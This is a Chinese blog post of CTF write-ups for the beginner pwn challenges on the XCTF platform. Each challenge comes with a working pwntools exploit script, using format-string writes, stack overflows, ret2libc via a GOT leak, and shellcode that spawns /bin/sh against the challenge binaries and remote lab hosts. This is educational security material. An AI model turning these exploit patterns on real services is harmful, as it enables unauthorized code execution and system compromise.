• 【WP】攻防世界新手区pwn writeup


    CGfsb

    • 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050
    • 下载文件后,使用file命令查看。
    • 32位的文件,用ida打开,F5查看伪代码。
    • printf漏洞:https://www.cnblogs.com/cfans1993/articles/5619134.html
    • 思路:
      • 找到pwnme的地址
      • 把pwnme的地址写到s里面
      • printf输出8个字节,然后用%n把8写入到pwnme里面
    • 步骤:
      • 利用ida直接找到pwnme的地址,为0x804a068
      • 找到s相对format参数的偏移量,可以看到,传递message的变量s,被存储在0xbffff628地址内,此时0xbffff600对应printf的format参数在栈中的位置,所以偏移量为10,对应构造%10$n
      • 构造payload:(pwnme地址)+"aaaa"+"%10$n"
    • pwntools:
        from pwn import *
    
        context.log_level = 'debug' 
        DEBUG = int(sys.argv[1])
    
        if DEBUG == 1: 
            p = process('./cgfsb') 
        else: 
            p = remote('111.198.29.45',58350)
    
        pwnme_addr = 0x0804A068
    
        payload1 = "aaaa" 
        payload2 = p32(pwnme_addr) + 'aaaa%10$n'
    
        p.recvuntil('please tell me your name:
    ') 
        p.sendline(payload1)
    
        p.recvuntil('leave your message please:
    ') 
        p.sendline(payload2)
    
        print p.recv() 
        print p.recv()
    • 运行结果:

    When did you born

    • 文件类型
    • 运行测试
    • IDA查看反汇编伪代码,v5等于1926能拿到flag,但之前有一个判断,不让输入1926
    • IDA调试,观察栈
      • 输入生日1111,在栈中找到v5的位置
      • 输入名字abcdefghijk
      • 看到v4部分覆盖了v5,所以我们要构造的payload格式应该是8chars+'x86'+'x07'
    • pwntools代码
    from pwn import *
    p=remote(ip,port)
    p.sendafter('Your Birth?',str(0)+'
    ') 
    p.sendafter(' Your Name?','a'*8+p64(1926)) 
    p.interactive()
    • 运行结果

    hello_pwn

    • 下载后反汇编用IDA查看伪代码,发现有一个函数用于显示flag,重命名为showflag
    • 显然,只要把dword_60106C赋值为1853186401就可以了,我们发现,输入aaaaaaaaaaaaaaaaa,其中一部分会覆盖dword_60106C,所以payload的格式应该是4chars+1853186401
    • pwntools代码
    from pwn import *
    p = process("./637f5c201bf94c128c8c22e4d6e9cef3")
    p.sendline('a'*4+p32(1853186401))
    p.interactive()
    • 本地测试
    • 远程

    level0

    • 检查保护
    • 反汇编后发现callsystem函数调用了shell
    • vulnerable_function函数存在栈溢出漏洞,考虑覆盖返回值
    • 输入128个a和bbbbcccc后,可以看到,刚好到达返回地址,所以payload格式为128+8个char+callsystem地址
    • exp如下
    from pwn import *
    
    p = remote('111.198.29.45',54531)
    elf = ELF("./level0")
    sysaddr = elf.symbols['callsystem']
    payload = 'a'*(0x80 + 8) + p64(sysaddr)
    p.recv()
    p.send(payload)
    p.interactive()
    • 运行结果

    level2

    • 查看程序保护
    • IDA查看反汇编伪代码,存在栈溢出漏洞
    • 程序中含有system函数和"/bin/sh"字符串
    • exp如下
    from pwn import *
    
    elf = ELF('./level2')
    sys_addr = elf.symbols['system']
    sh_addr = elf.search('/bin/sh').next()
     
    payload = 'A' * (0x88 + 0x4) + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)
    
    #io = remote('111.198.29.45',40579)
    io = process("./level2")
    io.sendlineafter("Input:
    ",payload)
    io.interactive()
    io.close()

    guess num

    • 查看文件类型
    • 检查程序保护
    • 运行测试
    • IDA反汇编
    • 可以看到,每次数字都是一个随机数,而且随机数的种子是在gets之前的,所以我们可能有机会覆盖seed
    • 查看栈,可以发现,输入name确实可以覆盖到seed
    • exp:(循环里用sendafter和recvuntil都跑不动,只好手动了)
    from pwn import *
    from ctypes import *
    
    elf = ELF('./guess')
    libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
    io = process('./guess')
    #io = remote("111.198.29.45",58174)
    
    payload = 32 * 'a' + p64(1)
    io.sendafter("Your name:", payload)
    
    libc.srand(1)
    
    for i in range(10):
        num = str(libc.rand()%6+1)
        print num+" ",
    
    io.interactive()
    • 运行结果

    cgpwn2

    • 检查保护
    • 反汇编
    • 我们可以看到程序里面有system函数,但是没有"/bin/sh"字符串,但是name变量是全局的,我们可以尝试把字串放到name变量里
    • exp:
    from pwn import *
    
    elf = ELF('./cgpwn2')
    io = process('./cgpwn2')
    #io = remote("111.198.29.45",58174)
    
    payload = 42 * 'a' + p32(elf.symbols['system']) + p32(0xdeadbeef) + p32(0x0804A080)
    shstr = "/bin/sh"
    
    io.recvuntil("name")
    io.sendline(shstr)
    io.recvuntil("here:")
    io.sendline(payload)
    
    io.interactive()

    int overflow

    • 查看保护
    • 运行测试
    • 反汇编,发现有一个函数已经有显示flag的功能了,但是并没有被调用,可以考虑返回地址溢出,在密码检查的函数中,我们看到,字符串长度被赋给了uint8类型,这里会发生截断,而在正确的分支,s字符串会被strcpy使用。


    • 整数溢出:由于int是32位,而int8是8位,我们可以在最后8位伪造长度,骗过长度检测,使用"0000 1000"(8)作为最后8位。
    • 栈中返回地址被覆盖(长度263)
    • payload格式:0x14个char + 4个char + 地址(占4个char) + 0xeb个char
    • exp
    from pwn import *
    
    elf = ELF('./intover')
    io = process('./intover')
    #io = remote("111.198.29.45",51548)
    
    io.recvuntil("choice:")
    io.sendline('1')
    io.recvuntil("username:")
    io.sendline("aaa")
    io.recvuntil("passwd")
    io.sendline('a'*0x14 + 'a'*4 + p32(elf.symbols['what_is_this']) + 0xea*'a')
    io.interactive()

    string

    • 查看保护
    • 反汇编,发现一个格式化字符串漏洞,一处强制转化位函数指针

    • 我们只要把shellcode写入v1就可以了
    • 逆推,我们要使a1[0]和a1[1]一样
    • a1在上一级函数中是一个指针
    • a1也就是在main中的v4,也就是v3,我们通过secret[0]得到地址
    • 这里可以在v2写入v3[0]的地址,然后通过格式化字符串漏洞,在v3[0]中写入85,使v3[0]==v3[1]
    • 寻找format在栈中的位置,偏移量为7
    • exp:
    from pwn import *
    
    #io = remote('111.198.29.45','41410')
    io = process("./string")
    io.recvuntil("secret[0] is ")
    v3_0_addr = int(io.recvuntil("
    ")[:-1], 16)
    io.recvuntil("character's name be:")
    io.sendline("tiumo")
    io.recvuntil("east or up?:")
    io.sendline("east")
    io.recvuntil("there(1), or leave(0)?:")
    io.sendline("1")
    io.recvuntil("'Give me an address'")
    io.sendline(str(v3_0_addr))
    io.recvuntil("you wish is:")
    io.sendline("%85c%7$n")
    
    context(log_level = 'debug', arch = 'amd64', os = 'linux')
    shellcode=asm(shellcraft.sh())
    
    io.recvuntil("USE YOU SPELL")
    io.sendline(shellcode)
    io.interactive()
    • 运行结果:

    level3

    #-*-coding:utf-8-*-
    from pwn import *
    
    #io = process('./level3')
    io = remote('111.198.29.45',55186)
    elf = ELF('./level3')
    libc = ELF('./libc_32.so.6')
    
    write_plt = elf.plt['write']
    vul_addr = elf.symbols['vulnerable_function']
    got_addr = elf.got['write']
    
    payload1="a"*0x88 + 'aaaa' + p32(write_plt) + p32(vul_addr) + p32(1) + p32(got_addr) + p32(4)
    io.recvuntil("Input:
    ")
    io.sendline(payload1)
    write_addr = u32(io.recv(4))
    print write_addr
    
    libc_write = libc.symbols['write']
    libc_system = libc.symbols['system']
    libc_sh = libc.search('/bin/sh').next()
    system_addr = write_addr + (libc_system-libc_write) #用相对地址计算真实地址
    sh_addr = write_addr + (libc_sh-libc_write)
    
    payload2 = 'a'*0x88 + 'aaaa' + p32(system_addr) + 'aaaa' + p32(sh_addr)
    io.recvuntil("Input:
    ")
    io.sendline(payload2)
    io.interactive()
  • 相关阅读:
    关于OPENSSL的EVP函数的使用
    在docker下面安装Nginx PHP mysql let's encrypt
    【转】如何统计网站(如个人博客)访问量
    CoolEdit对比两段音频文件:将两段音频文件放在左右声道
    matlab常用的清空和关闭命令(清空变量区、清空命令行、清空图像等)
    TMS320F28335利用ePWM改变ADC采样频率(双通道)示例代码
    Matlab中rand、randn、randi、rands的区别以及用randn生成白噪声的示例
    Matlab中find()寻找函数的常见用法
    【转】 博客园自定义样式修改网页icon图标
    UltraEdit 高亮文档中同名变量
  • 原文地址:https://www.cnblogs.com/tiumo/p/11484755.html
Copyright © 2020-2023  润新知